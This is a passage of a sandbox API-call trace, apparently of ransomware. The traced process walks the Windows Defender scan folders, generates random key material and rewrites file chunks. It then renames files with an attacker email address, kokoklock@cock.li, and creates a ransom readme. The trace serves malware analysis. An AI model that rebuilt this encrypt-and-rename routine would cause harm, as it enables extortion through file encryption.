Defender\\Scans\\MetaStore\\*", lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29db382, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0158 [0078.659] wcscmp (_String1=".", _String2=".") returned 0 [0078.659] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29db382, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.659] wcscmp (_String1="..", _String2=".") returned 1 [0078.659] wcscmp (_String1="..", _String2="..") returned 0 [0078.659] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dbfd0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0078.659] wcscmp (_String1="1", _String2=".") returned 1 [0078.659] wcscmp (_String1="1", _String2="..") returned 1 [0078.659] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347f348 [0078.659] wcscpy (in: _Dest=0x347f348, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0078.659] wcscat (in: _Dest=0x347f348, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\" [0078.659] wcscat (in: _Dest=0x347f348, _Source="1" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1" [0082.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347f348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0082.993] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dc87e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0082.993] wcscmp (_String1="2", _String2=".") returned 1 [0082.993] wcscmp (_String1="2", _String2="..") returned 1 [0082.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347f2c0 [0082.993] wcscpy (in: _Dest=0x347f2c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0082.993] wcscat (in: _Dest=0x347f2c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\" [0082.993] wcscat (in: _Dest=0x347f2c0, _Source="2" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2" [0082.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347f2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0082.994] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a3432b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0082.994] wcscmp (_String1="3", _String2=".") returned 1 [0082.994] wcscmp (_String1="3", _String2="..") returned 1 [0082.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347ed70 [0082.994] wcscpy (in: _Dest=0x347ed70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0082.994] wcscat (in: _Dest=0x347ed70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\" [0082.994] wcscat (in: _Dest=0x347ed70, _Source="3" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3" [0082.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347ed70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0082.995] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a352ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1 [0082.995] wcscmp (_String1="4", _String2=".") returned 1 [0082.995] wcscmp (_String1="4", _String2="..") returned 1 [0082.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x80) returned 0x347ec60 [0082.995] wcscpy (in: _Dest=0x347ec60, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore" [0082.995] wcscat (in: _Dest=0x347ec60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\" [0082.995] wcscat (in: _Dest=0x347ec60, _Source="4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\4" [0082.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347ec60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0082.996] FindNextFileW (in: hFindFile=0x33e0158, lpFindFileData=0x33f4f88 | out: lpFindFileData=0x33f4f88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a352ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ad2f56, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 0 [0082.996] FindClose (in: hFindFile=0x33e0158 | out: hFindFile=0x33e0158) returned 1 [0082.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4f88) returned 1 [0082.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ece8) returned 1 [0082.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ea40) returned 1 [0082.996] RtlExitUserThread (Status=0x0) Thread: id = 907 os_tid = 0x1530 [0078.660] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b")) returned 0x20 [0078.667] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", dwFileAttributes=0x20) returned 1 [0078.668] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0078.668] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x212bfe6c | out: lpFileSize=0x212bfe6c*=26125796) returned 1 [0078.668] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x18ea5e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.668] ReadFile (in: hFile=0x3f0, lpBuffer=0x212bfe40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x212bfe40*, lpNumberOfBytesRead=0x212bfe3c*=0x4, lpOverlapped=0x0) returned 1 [0078.670] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ff0 [0078.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492f00 [0078.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d98 [0078.671] NtQuerySystemTime (in: CurrentTime=0x212bfe18 | out: CurrentTime=0x212bfe18*=132121176365711704) returned 0x0 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xccceac87 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x5bba8f22 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x5c542abf [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xac67e1a1 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x72b4011 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xd2be1fa5 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xf185ae56 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xea77616 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xd6bc6087 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xc8e0162c [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xf6cc0b5f [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x3db152e4 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x2c756655 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x91218e27 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x4edbdfda [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x7bb58504 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xa0bf6d8a [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xbab975b [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x85bc364d [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x8a846da4 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xf1871a7c [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x7165038c [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x8c0aacc8 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x56973a4 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x67222781 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x6f150b9a [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xb122ba57 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xab1696a0 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xf28727d5 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0x1650ece8 [0078.671] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xffbdf874 [0078.672] RtlRandom (in: Seed=0x212bfe24 | out: Seed=0x212bfe24) returned 0xa0bd6c12 [0078.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.686] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ff0) returned 1 [0078.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.686] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.686] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.688] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e88 [0078.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e88) returned 1 [0078.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493090 [0078.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ed8 [0078.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ed8) returned 1 [0078.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.689] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.689] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xc78f7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.689] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.691] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xc78f7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0078.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0078.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e10 [0078.691] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e10) returned 1 [0078.691] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e10 [0078.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492fa0 [0078.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492fa0) returned 1 [0078.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0078.692] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.692] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.692] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x18e654e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.692] ReadFile (in: hFile=0x3f0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.693] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x18e654e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fced8 [0078.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347fee0 [0078.693] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492eb0 [0078.693] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492eb0) returned 1 [0078.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34930b8 [0078.694] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492e38 [0078.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492e38) returned 1 [0078.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0078.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fced8) returned 1 [0078.694] WriteFile (in: hFile=0x3f0, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x212bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x212bfdd8*=0x4096, lpOverlapped=0x0) returned 1 [0078.694] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.694] WriteFile (in: hFile=0x3f0, lpBuffer=0x3493090*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x212bfe34, lpOverlapped=0x0 | out: lpBuffer=0x3493090*, lpNumberOfBytesWritten=0x212bfe34*=0x20, lpOverlapped=0x0) returned 1 [0078.694] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x212bfe34, lpOverlapped=0x0 | out: lpBuffer=0x3492e10*, lpNumberOfBytesWritten=0x212bfe34*=0x20, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x34930b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x212bfe34, lpOverlapped=0x0 | out: lpBuffer=0x34930b8*, lpNumberOfBytesWritten=0x212bfe34*=0x20, lpOverlapped=0x0) returned 1 [0078.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x3492de8*, lpNumberOfBytesWritten=0x212bfe3c*=0x8, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x212bfe54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x212bfe54*, lpNumberOfBytesWritten=0x212bfe3c*=0x4, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x212bfe3c*=0x4, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x212bfe3c*=0x6c, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x3492f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x3492f00*, lpNumberOfBytesWritten=0x212bfe3c*=0x20, lpOverlapped=0x0) returned 1 [0078.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x212bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x212bfe3c*=0x4, lpOverlapped=0x0) returned 1 [0078.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492f00) returned 1 [0078.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492dc0) returned 1 [0078.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492de8) returned 1 [0078.695] CloseHandle (hObject=0x3f0) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0078.696] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" [0078.696] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.mailto[kokoklock@cock.li].d0e731" [0078.696] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.5b.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0078.697] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.5B", dwFileAttributes=0x20) returned 0 [0078.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348be38 [0078.697] wcscpy (in: _Dest=0x348be38, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0078.697] wcscat (in: _Dest=0x348be38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0078.697] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0xffffffff [0078.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 